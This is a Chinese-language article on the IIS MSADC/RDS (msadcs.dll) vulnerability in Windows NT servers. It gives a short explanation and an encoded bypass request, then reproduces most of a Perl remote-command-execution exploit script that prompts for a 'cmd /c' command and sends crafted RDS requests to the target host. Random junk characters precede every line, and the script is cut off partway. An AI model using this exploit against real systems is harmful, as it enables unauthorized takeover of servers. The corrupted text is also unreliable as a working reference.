IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sJ7ZE-v]h 4_d'Uh&] 涉及程序:
2py
[P Microsoft NT server
M"E7=J oNp(GQ@0 描述:
Z?)=4| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CYZ0F5+t n0opb [ ? 详细:
0l2@3}e 如果你没有时间读详细内容的话,就删除:
fu{.Ir c:\Program Files\Common Files\System\Msadc\msadcs.dll
A x'o|RE)x 有关的安全问题就没有了。
"w:?WS !c;BOCqa 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M1J77LfS8 a$]i8AeG 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
jn+BH3e 关于利用ODBC远程漏洞的描述,请参看:
Bb*P);#.K u9D#5NvGs http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >_SqM! ^v TgvBy 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`-[|@QNFz http://www.microsoft.com/security/bulletins/MS99-025faq.asp YxWA]
yL @]@6(To 这里不再论述。
A3Oe=rB 8Lr&-w8J 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
UOcO\EA+ o>o! -uf /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>rid3~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?VR:e7|tU #?fKi$fS;L l@`Do [ #将下面这段保存为txt文件,然后: "perl -x 文件名"
i]}`e>fF ]OLe&VRix #!perl
YOQ>A*@4 #
s> JWNP # MSADC/RDS 'usage' (aka exploit) script
O^KIB%}fu #
?k+>~k{}a # by rain.forest.puppy
Fm4)|5 #
UpS7>c7s # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nP#|JRn= # beta test and find errors!
>WmTM0 8 EUc
6 use Socket; use Getopt::Std;
pvY BhTz0 getopts("e:vd:h:XR", \%args);
67A g.f6- Z&Xp9"j,@; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
WFG`-8_e[I (X~JTH:e/ if (!defined $args{h} && !defined $args{R}) {
z65Q"A print qq~
vY2^*3\<D Usage: msadc.pl -h <host> { -d <delay> -X -v }
m.w.h^f$& -h <host> = host you want to scan (ip or domain)
y8$I= -d <seconds> = delay between calls, default 1 second
Sq[LwJ -X = dump Index Server path table, if available
9_xJT^10 -v = verbose
h Nx#x -e = external dictionary file for step 5
1s6L]&B WnL7 A:sZ Or a -R will resume a command session
uO5y{O2W ;-6 ~; exit;}
kn&>4/') T1i}D"H % $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oyq9XW~ D if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-d_7 q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n>W*y|UJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4x"9Wr=} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&sg~owz if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_ls i,kg? x`Jh NAO> if (!defined $args{R}){ $ret = &has_msadc;
!dGSZ|YZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ft 6{g
JBG D2]i*gs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
dZ`c . "cmd /c ";
_p;=]#+c& $in=<STDIN>; chomp $in;
E~`l/ W $command="cmd /c " . $in ;
,dXJCX8so {P'^X+B0* if (defined $args{R}) {&load; exit;}
)<[)7` 1fqJtP6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%![3?|8~ &try_btcustmr;
T,/:5L9 T7?cnK" print "\nStep 2: Trying to make our own DSN...";
0[.T`tpN' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^0HgE;4 lw=!v%L print "\nStep 3: Trying known DSNs...";
q#\4/Dt &known_dsn;
>!WH%J Dy|)u1? print "\nStep 4: Trying known .mdbs...";
'f-8P &known_mdb;
uYCWsw/ :N64FR# if (defined $args{e}){
f f5 e]^, print "\nStep 5: Trying dictionary of DSN names...";
CkR
95* &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SaFNPnk= 9i+.iuE%Bu print "Sorry Charley...maybe next time?\n";
ndHUQ$/( exit;
`l0"4[? xTf|u ##############################################################################
1<;G
oC" +d=w%r) sub sendraw { # ripped and modded from whisker
sw+vyBV)r sleep($delay); # it's a DoS on the server! At least on mine...
*9tRhRc my ($pstr)=@_;
_&e$?hY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7'.]fs: die("Socket problems\n");
0+Z?9$a1 if(connect(S,pack "SnA4x8",2,80,$target)){
Iad&Z8E select(S); $|=1;
'a G`qPB print $pstr; my @in=<S>;
N2.Ym;^ select(STDOUT); close(S);
xjh(;S' return @in;
>hO9b;F} } else { die("Can't connect...\n"); }}
/~3kkM(Ty Mb=j'H<N@ ##############################################################################
47!k!cHa uU/'oZ? sub make_header { # make the HTTP request
E7 P'} my $msadc=<<EOT
d~#:t~
$, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;k
(M4? User-Agent: ACTIVEDATA
@ RP?)*8}& Host: $ip
-+y3~^EYm, Content-Length: $clen
22@w: Connection: Keep-Alive
n;e.N:p ou=33}uO ADCClientVersion:01.06
9QHV%% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N#GMvU#R 5#~E[dr --!ADM!ROX!YOUR!WORLD!
)6{,y{5! Content-Type: application/x-varg
x9\]C'*sO Content-Length: $reqlen
={\9-JJhE 4}NCdGD EOT
Qrw:Bva) ; $msadc=~s/\n/\r\n/g;
MG vp6/Pd return $msadc;}
!md1~g$rN 6#kmV ##############################################################################
"'~&D/7 5DL(#9F8b9 sub make_req { # make the RDS request
.* &F my ($switch, $p1, $p2)=@_;
&M7AM"9 my $req=""; my $t1, $t2, $query, $dsn;
v)JS4KS '?1g_C QsS if ($switch==1){ # this is the btcustmr.mdb query
upiYo(sN. $query="Select * from Customers where City=" . make_shell();
soh9Oedml- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O% 8>siU $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b\p2yJ\ HL%|DCo elsif ($switch==2){ # this is general make table query
|?t}7V#[ $query="create table AZZ (B int, C varchar(10))";
APyH.] mQ $dsn="$p1";}
EN5F*s@r Y%^qt]u.8 elsif ($switch==3){ # this is general exploit table query
\m#{{SGm $query="select * from AZZ where C=" . make_shell();
28>/#I9/] $dsn="$p1";}
IQQ>0^Q~ ]v#T9QQN elsif ($switch==4){ # attempt to hork file info from index server
Bo0f`EC I $query="select path from scope()";
Cy6%f? j $dsn="Provider=MSIDXS;";}
%7
$X
* j%i6H1#.Z elsif ($switch==5){ # bad query
NUh+ &M $query="select";
?hKpJA'% $dsn="$p1";}
^*b11/7 0~BZh%s< ( $t1= make_unicode($query);
A().1h1_k $t2= make_unicode($dsn);
Bz?
(?fyd $req = "\x02\x00\x03\x00";
[JKLlR $req.= "\x08\x00" . pack ("S1", length($t1));
@PV3G
KJ $req.= "\x00\x00" . $t1 ;
Mp06A.j[ $req.= "\x08\x00" . pack ("S1", length($t2));
Z6#(83G4 $req.= "\x00\x00" . $t2 ;
4A)_D{(SH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'#>(JN5\ return $req;}
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